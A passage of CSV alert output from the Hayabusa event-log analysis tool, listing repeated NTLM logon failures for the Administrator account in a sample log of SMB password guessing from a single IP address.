NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.172 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1BmnyTsmP2XqMzf1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.221 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NB3xsYe3RcPXhDib : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.264 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yxN9i8exdO2h4oa7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.300 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vjcQaeuo4f8wFXhv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.351 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zCzr77BhliB4KKeb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.401 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Z558005RepKaO1zZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.448 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9HFzW25mJz4JLkv7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.490 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Y7J8m97GQWt2cbSs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.545 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XJrVwcpABBaZ8cyY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.585 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VcDw3I4BaFLdIeCZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.637 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: egEpV9aAuCFjwx2I : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.677 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: th0ZLWF4YeOaNnkK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.712 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ahrOLfdy6DCQ9SfO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.751 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xiooSdP5eib8PUE3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.794 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: s6nQ2jp9IGYnGeyD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.839 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ejMtyR5QNdJFhw1W : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.873 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: e50kO0aVhfw5np5T : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.913 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 176XyLw6IhEI6NuD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.956 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KXCzCSSFvpbWNJFd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.993 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XhHRuZYlH8hekaKc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.026 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZGIUBFRMQ3OBbOA0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.077 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: R7CTT5g1w58eRRlS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.117 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JmVccmad66uOK9ox : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.163 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: t1jlT6kEcs14dcNZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.209 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rBty5jOGkkZSZEyD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.245 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0Ci7YUsO5MtFkDSW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.347 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 12JToliq9mmAuMTQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.381 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lw9AgAvBGWoXBlim : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.418 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ReGDyvRpGknAKqqB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.469 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6mdUn8na4asRfpJP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.528 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: b7Wm5p4HnNCbkyh2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.585 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MQZwerVd6E08X8Ou : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.625 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dbDjtLKoX5Q77bn5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.669 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: O7BNKHiPjzJKCaDk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.714 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HHqBI8bzZn5VO9gq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.757 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Xz2ZO3b3QSh6Rdqt : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.797 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IEfdhrwbTfCpCXKC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.844 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kc0LuQzAmQTIF1X3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.896 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WMZ70YmzpVp2h8mY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.945 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FFVr3Amq6mA3umiu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:37.985 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hnN15vqZcww8pqTK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.027 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sSuMRF1txQ9g2Mwi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.073 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tUuapChhs4CGO1cS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.119 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dIMr0hjIkwD8AaEG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.173 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8ww9HMQX0cqmolYQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.210 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XJRRZ5e9lARVZDar : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.260 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VvUzVoSLqFPAXSWE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.304 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SMMgPu1VJIjAWPDW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.337 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: I1JjIa4nOKDTLuAD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.377 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0J0GJIm1UUXHH9QJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.419 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YmVX3xIz0hrQFvPr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.470 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nv4tKFEmHjiXkVDI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.500 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: esdHHJl9LBek9pIo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.545 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MWofwwLjwiyBk39P : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.589 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dvsHFZe7Z1uJ9Dkv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.629 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8aDdgwvb1zsZF79k : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.668 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AQUb6CnMUtyrMNhF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.701 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KP5OxHPsbLHnIUBE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.744 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Ysg903vYFhQHYvFJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.793 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IySarHtsTvwSP56H : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.828 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GnUy8tbCIAVnmhDg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.863 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bfBtc4MnMtPG6MpC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.901 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 37b8MGIHY8QwXf9K : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.945 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: eDuaWikplDmJNmIE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:38.989 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0kSSoAYJILHCPI7K : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.023 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: L9ikrtTGcZYU1556 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.064 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ypyd6SagvUXQHhtZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.100 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QWS37lIJ3Q6ghgMs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.149 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: H211KmFImpBRwTGW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.193 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 64tO5iBehXQcNc49 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.236 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xvxDngRj3j5TAwST : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.281 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: O8VYRjMnxDgUTWYf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.331 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EhWphTesbUf0hwi1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.385 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MO8VRRVANxIkDzEX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:39.429 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ziSXANiDAf7LRFz5 : IP Address: 192.168.198.149 : AuthPackage: 